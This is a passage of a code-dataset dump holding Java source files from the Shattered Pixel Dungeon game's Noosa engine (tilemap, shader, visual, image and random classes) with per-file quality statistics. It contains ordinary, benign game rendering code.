Math.min((camY+camH)*mapWidth, (mapHeight-1)*mapWidth); if (topLeft >= size || bottomRight < 0) length = 0; else length = bottomRight - topLeft + 1; if (length <= 0) return;*/ NoosaScript script = script(); texture.bind(); script.uModel.valueM4( matrix ); script.lighting( rm, gm, bm, am, ra, ga, ba, aa ); script.camera( camera ); script.drawQuadSet( buffer, size, 0 ); } protected NoosaScript script(){ return NoosaScriptNoLighting.get(); } @Override public void destroy() { super.destroy(); if (buffer != null) buffer.delete(); } protected boolean needsRender(int pos){ return data[pos] >= 0; } }
6,103
Tilemap
java
en
java
code
{"qsc_code_num_words": 799, "qsc_code_num_chars": 6103.0, "qsc_code_mean_word_length": 5.00750939, "qsc_code_frac_words_unique": 0.33917397, "qsc_code_frac_chars_top_2grams": 0.01749563, "qsc_code_frac_chars_top_3grams": 0.023994, "qsc_code_frac_chars_top_4grams": 0.01424644, "qsc_code_frac_chars_dupe_5grams": 0.02649338, "qsc_code_frac_chars_dupe_6grams": 0.0139965, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02137566, "qsc_code_frac_chars_whitespace": 0.22579059, "qsc_code_size_file_byte": 6103.0, "qsc_code_num_lines": 277.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 22.03249097, "qsc_code_frac_chars_alphabet": 0.82539683, "qsc_code_frac_chars_comments": 0.347534, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.03246753, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00361011, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.04545455, "qsc_codejava_score_lines_no_logic": 0.21428571, "qsc_codejava_frac_words_no_modifier": 0.875, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/NoosaScriptNoLighting.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.glscripts.Script; //This class should be used on heavy pixel-fill based loads when lighting is not needed. // It skips the lighting component of the fragment shader, giving a significant performance boost //Remember that switching programs is expensive // if this script is to be used many times try to block them together public class NoosaScriptNoLighting extends NoosaScript { @Override public void lighting(float rm, float gm, float bm, float am, float ra, float ga, float ba, float aa) { //Does nothing } public static NoosaScriptNoLighting get(){ return Script.use( NoosaScriptNoLighting.class ); } @Override protected String shader() { return SHADER; } private static final String SHADER = "uniform mat4 uCamera;" + "uniform mat4 uModel;" + "attribute vec4 aXYZW;" + "attribute vec2 aUV;" + "varying vec2 vUV;" + "void main() {" + " gl_Position = uCamera * uModel * aXYZW;" + " vUV = aUV;" + "}" + "//\n" + //preprocessor directives let us define precision on GLES platforms, and ignore it elsewhere "#ifdef GL_ES\n" + "precision lowp float;\n" + "#endif\n" + "varying vec2 vUV;" + "uniform sampler2D uTex;" + "void main() {" + " gl_FragColor = texture2D( uTex, vUV );" + "}"; }
2,081
NoosaScriptNoLighting
java
en
java
code
{"qsc_code_num_words": 288, "qsc_code_num_chars": 2081.0, "qsc_code_mean_word_length": 5.10416667, "qsc_code_frac_words_unique": 0.59375, "qsc_code_frac_chars_top_2grams": 0.01360544, "qsc_code_frac_chars_top_3grams": 0.02653061, "qsc_code_frac_chars_top_4grams": 0.03877551, "qsc_code_frac_chars_dupe_5grams": 0.05578231, "qsc_code_frac_chars_dupe_6grams": 0.03809524, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01501502, "qsc_code_frac_chars_whitespace": 0.19990389, "qsc_code_size_file_byte": 2081.0, "qsc_code_num_lines": 70.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 29.72857143, "qsc_code_frac_chars_alphabet": 0.86786787, "qsc_code_frac_chars_comments": 0.57087938, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18181818, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.34490482, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.09090909, "qsc_codejava_score_lines_no_logic": 0.18181818, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Gizmo.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; public class Gizmo { public boolean exists; public boolean alive; public boolean active; public boolean visible; public Group parent; public Camera camera; public Gizmo() { exists = true; alive = true; active = true; visible = true; } public void destroy() { parent = null; } public void update() { } public void draw() { } public void kill() { alive = false; exists = false; } // Not exactly opposite to "kill" method public void revive() { alive = true; exists = true; } public Camera camera() { if (camera != null) { return camera; } else if (parent != null) { return this.camera = parent.camera(); } else { return null; } } public boolean isVisible() { if (parent == null) { return visible; } else { return visible && parent.isVisible(); } } public boolean isActive() { if (parent == null) { return active; } else { return active && parent.isActive(); } } public void killAndErase() { kill(); if (parent != null) { parent.erase( this ); } } public void remove() { if (parent != null) { parent.remove( this ); } } }
1,962
Gizmo
java
en
java
code
{"qsc_code_num_words": 252, "qsc_code_num_chars": 1962.0, "qsc_code_mean_word_length": 5.0952381, "qsc_code_frac_words_unique": 0.44444444, "qsc_code_frac_chars_top_2grams": 0.05451713, "qsc_code_frac_chars_top_3grams": 0.04672897, "qsc_code_frac_chars_top_4grams": 0.04439252, "qsc_code_frac_chars_dupe_5grams": 0.06386293, "qsc_code_frac_chars_dupe_6grams": 0.04361371, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01144011, "qsc_code_frac_chars_whitespace": 0.24260958, "qsc_code_size_file_byte": 1962.0, "qsc_code_num_lines": 101.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 19.42574257, "qsc_code_frac_chars_alphabet": 0.8526245, "qsc_code_frac_chars_comments": 0.41845056, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.171875, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.15625, "qsc_codejava_score_lines_no_logic": 0.328125, "qsc_codejava_frac_words_no_modifier": 0.90909091, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Visual.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.glwrap.Matrix; import com.watabou.utils.Point; import com.watabou.utils.PointF; public class Visual extends Gizmo { public float x; public float y; public float width; public float height; public PointF scale; public PointF origin; protected float[] matrix; public float rm; public float gm; public float bm; public float am; public float ra; public float ga; public float ba; public float aa; public PointF speed; public PointF acc; public float angle; public float angularSpeed; private float lastX, lastY, lastW, lastH, lastA; private PointF lastScale = new PointF(), lastOrigin = new PointF(); public Visual( float x, float y, float width, float height ) { this.x = x; this.y = y; this.width = width; this.height = height; scale = new PointF( 1, 1 ); origin = new PointF(); matrix = new float[16]; resetColor(); speed = new PointF(); acc = new PointF(); } @Override public void update() { updateMotion(); } @Override //TODO caching the last value of all these variables does improve performance a bunch // by letting us skip many calls to updateMatrix, but it is quite messy. It would be better to // control their editing and have a single boolean to tell if the matrix needs updating. public void draw() { if (lastX != x || lastY != y || lastW != width || lastH != height || lastA != angle || lastScale.x != scale.x || lastScale.y != scale.y || lastOrigin.x != origin.x || lastOrigin.y != origin.y){ lastX = x; lastY = y; lastW = width; lastH = height; lastA = angle; lastScale.x = scale.x; lastScale.y = scale.y; lastOrigin.x = origin.x; lastOrigin.y = origin.y; updateMatrix(); } } protected void updateMatrix() { Matrix.setIdentity( matrix ); Matrix.translate( matrix, x, y ); if (origin.x != 0 || origin.y != 0) Matrix.translate( matrix, origin.x, origin.y ); if (angle != 0) { Matrix.rotate( matrix, angle ); } if (scale.x != 1 || scale.y != 1) { Matrix.scale( matrix, scale.x, scale.y ); } if (origin.x != 0 || origin.y != 0) Matrix.translate( matrix, -origin.x, -origin.y ); } public PointF point() { return new PointF( x, y ); } public PointF point( PointF p ) { x = p.x; y = p.y; return p; } public Point point( Point p ) { x = p.x; y = p.y; return p; } public PointF center() { return new PointF( x + width / 2, y + height / 2 ); } public PointF center( PointF p ) { x = p.x - width / 2; y = p.y - height / 2; return p; } //returns the point needed to center the argument visual on this visual public PointF center( Visual v ) { return new PointF( x + (width() - v.width())/2f, y + (height() - v.height())/2f ); } public float width() { return width * scale.x; } public float height() { return height * scale.y; } protected void updateMotion() { if (acc.x != 0) speed.x += acc.x * Game.elapsed; if (speed.x != 0) x += speed.x * Game.elapsed; if (acc.y != 0) speed.y += acc.y * Game.elapsed; if (speed.y != 0) y += speed.y * Game.elapsed; if (angularSpeed != 0) angle += angularSpeed * Game.elapsed; } public void alpha( float value ) { am = value; aa = 0; } public float alpha() { return am + aa; } public void invert() { rm = gm = bm = -1f; ra = ga = ba = +1f; } public void lightness( float value ) { if (value < 0.5f) { rm = gm = bm = value * 2f; ra = ga = ba = 0; } else { rm = gm = bm = 2f - value * 2f; ra = ga = ba = value * 2f - 1f; } } public void brightness( float value ) { rm = gm = bm = value; } public void tint( float r, float g, float b, float strength ) { rm = gm = bm = 1f - strength; ra = r * strength; ga = g * strength; ba = b * strength; } public void tint( int color, float strength ) { rm = gm = bm = 1f - strength; ra = ((color >> 16) & 0xFF) / 255f * strength; ga = ((color >> 8) & 0xFF) / 255f * strength; ba = (color & 0xFF) / 255f * strength; } //color must include an alpha component (e.g. 0x80FF0000 for red at 0.5 strength) public void tint( int color ) { tint( color & 0xFFFFFF, ((color >> 24) & 0xFF) / (float)0xFF); } public void color( float r, float g, float b ) { rm = gm = bm = 0; ra = r; ga = g; ba = b; } public void color( int color ) { color( ((color >> 16) & 0xFF) / 255f, ((color >> 8) & 0xFF) / 255f, (color & 0xFF) / 255f ); } public void hardlight( float r, float g, float b ) { ra = ga = ba = 0; rm = r; gm = g; bm = b; } public void hardlight( int color ) { hardlight( (color >> 16) / 255f, ((color >> 8) & 0xFF) / 255f, (color & 0xFF) / 255f ); } public void resetColor() { rm = gm = bm = am = 1; ra = ga = ba = aa = 0; } public boolean overlapsPoint( float x, float y ) { return x >= this.x && x < this.x + width * scale.x && y >= this.y && y < this.y + height * scale.y; } public boolean overlapsScreenPoint( int x, int y ) { Camera c = camera(); if (c == null) return false; PointF p = c.screenToCamera( x, y ); return overlapsPoint( p.x, p.y ); } // true if its bounding box intersects its camera's bounds public boolean isVisible() { Camera c = camera(); if (c == null || !visible) return false; //x coord if (x > c.scroll.x + c.width) return false; else if (!(x >= c.scroll.x || x + width() >= c.scroll.x)) return false; //y coord if (y > c.scroll.y + c.height) return false; else if (!(y >= c.scroll.y || y + height() >= c.scroll.y)) return false; return true; } }
6,438
Visual
java
en
java
code
{"qsc_code_num_words": 940, "qsc_code_num_chars": 6438.0, "qsc_code_mean_word_length": 4.16382979, "qsc_code_frac_words_unique": 0.23404255, "qsc_code_frac_chars_top_2grams": 0.04777721, "qsc_code_frac_chars_top_3grams": 0.01226367, "qsc_code_frac_chars_top_4grams": 0.01456311, "qsc_code_frac_chars_dupe_5grams": 0.22432294, "qsc_code_frac_chars_dupe_6grams": 0.18497701, "qsc_code_frac_chars_dupe_7grams": 0.13132345, "qsc_code_frac_chars_dupe_8grams": 0.13132345, "qsc_code_frac_chars_dupe_9grams": 0.11548288, "qsc_code_frac_chars_dupe_10grams": 0.11548288, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02381947, "qsc_code_frac_chars_whitespace": 0.25660143, "qsc_code_size_file_byte": 6438.0, "qsc_code_num_lines": 289.0, "qsc_code_num_chars_line_max": 102.0, "qsc_code_num_chars_line_mean": 22.27681661, "qsc_code_frac_chars_alphabet": 0.79398245, "qsc_code_frac_chars_comments": 0.1981982, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10144928, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00929872, "qsc_code_frac_lines_prompt_comments": 0.00346021, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.14009662, "qsc_codejava_score_lines_no_logic": 0.28502415, "qsc_codejava_frac_words_no_modifier": 0.93333333, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Image.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; import com.watabou.glwrap.Quad; import com.watabou.glwrap.Vertexbuffer; import com.watabou.utils.RectF; import java.nio.FloatBuffer; public class Image extends Visual { public SmartTexture texture; protected RectF frame; public boolean flipHorizontal; public boolean flipVertical; protected float[] vertices; protected FloatBuffer verticesBuffer; protected Vertexbuffer buffer; protected boolean dirty; public Image() { super( 0, 0, 0, 0 ); vertices = new float[16]; verticesBuffer = Quad.create(); } public Image( Image src ) { this(); copy( src ); } public Image( Object tx ) { this(); texture( tx ); } public Image( Object tx, int left, int top, int width, int height ) { this( tx ); frame( texture.uvRect( left, top, left + width, top + height ) ); } public void texture( Object tx ) { texture = tx instanceof SmartTexture ? (SmartTexture)tx : TextureCache.get( tx ); frame( new RectF( 0, 0, 1, 1 ) ); } public void frame( RectF frame ) { this.frame = frame; width = frame.width() * texture.width; height = frame.height() * texture.height; updateFrame(); updateVertices(); } public void frame( int left, int top, int width, int height ) { frame( texture.uvRect( left, top, left + width, top + height ) ); } public RectF frame() { return new RectF( frame ); } public void copy( Image other ) { texture = other.texture; frame = new RectF( other.frame ); width = other.width; height = other.height; updateFrame(); updateVertices(); } protected void updateFrame() { if (flipHorizontal) { vertices[2] = frame.right; vertices[6] = frame.left; vertices[10] = frame.left; vertices[14] = frame.right; } else { vertices[2] = frame.left; vertices[6] = frame.right; vertices[10] = frame.right; vertices[14] = frame.left; } if (flipVertical) { vertices[3] = frame.bottom; vertices[7] = frame.bottom; vertices[11] = frame.top; vertices[15] = frame.top; } else { vertices[3] = frame.top; vertices[7] = frame.top; vertices[11] = frame.bottom; vertices[15] = frame.bottom; } dirty = true; } protected void updateVertices() { vertices[0] = 0; vertices[1] = 0; vertices[4] = width; vertices[5] = 0; vertices[8] = width; vertices[9] = height; vertices[12] = 0; vertices[13] = height; dirty = true; } @Override public void draw() { if (texture == null || (!dirty && buffer == null)) return; super.draw(); if (dirty) { verticesBuffer.position( 0 ); verticesBuffer.put( vertices ); if (buffer == null) buffer = new Vertexbuffer( verticesBuffer ); else buffer.updateVertices( verticesBuffer ); dirty = false; } NoosaScript script = script(); texture.bind(); script.camera( camera() ); script.uModel.valueM4( matrix ); script.lighting( rm, gm, bm, am, ra, ga, ba, aa ); script.drawQuad( buffer ); } protected NoosaScript script(){ return NoosaScript.get(); } @Override public void destroy() { super.destroy(); if (buffer != null) buffer.delete(); } }
4,062
Image
java
en
java
code
{"qsc_code_num_words": 503, "qsc_code_num_chars": 4062.0, "qsc_code_mean_word_length": 5.30019881, "qsc_code_frac_words_unique": 0.34393638, "qsc_code_frac_chars_top_2grams": 0.02250563, "qsc_code_frac_chars_top_3grams": 0.0300075, "qsc_code_frac_chars_top_4grams": 0.02138035, "qsc_code_frac_chars_dupe_5grams": 0.09002251, "qsc_code_frac_chars_dupe_6grams": 0.08027007, "qsc_code_frac_chars_dupe_7grams": 0.05926482, "qsc_code_frac_chars_dupe_8grams": 0.05926482, "qsc_code_frac_chars_dupe_9grams": 0.03675919, "qsc_code_frac_chars_dupe_10grams": 0.03675919, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0212294, "qsc_code_frac_chars_whitespace": 0.22304284, "qsc_code_size_file_byte": 4062.0, "qsc_code_num_lines": 191.0, "qsc_code_num_chars_line_max": 84.0, "qsc_code_num_chars_line_mean": 21.26701571, "qsc_code_frac_chars_alphabet": 0.82351077, "qsc_code_frac_chars_comments": 0.19226982, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11023622, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.07874016, "qsc_codejava_score_lines_no_logic": 0.19685039, "qsc_codejava_frac_words_no_modifier": 0.90909091, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Random.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.List; public class Random { private static java.util.Random rand = new java.util.Random(); public static void seed( ){ rand = new java.util.Random(); } public static void seed( long seed ){ rand.setSeed(seed); } //returns a uniformly distributed float in the range [0, 1) public static float Float() { return rand.nextFloat(); } //returns a uniformly distributed float in the range [0, max) public static float Float( float max ) { return Float() * max; } //returns a uniformly distributed float in the range [min, max) 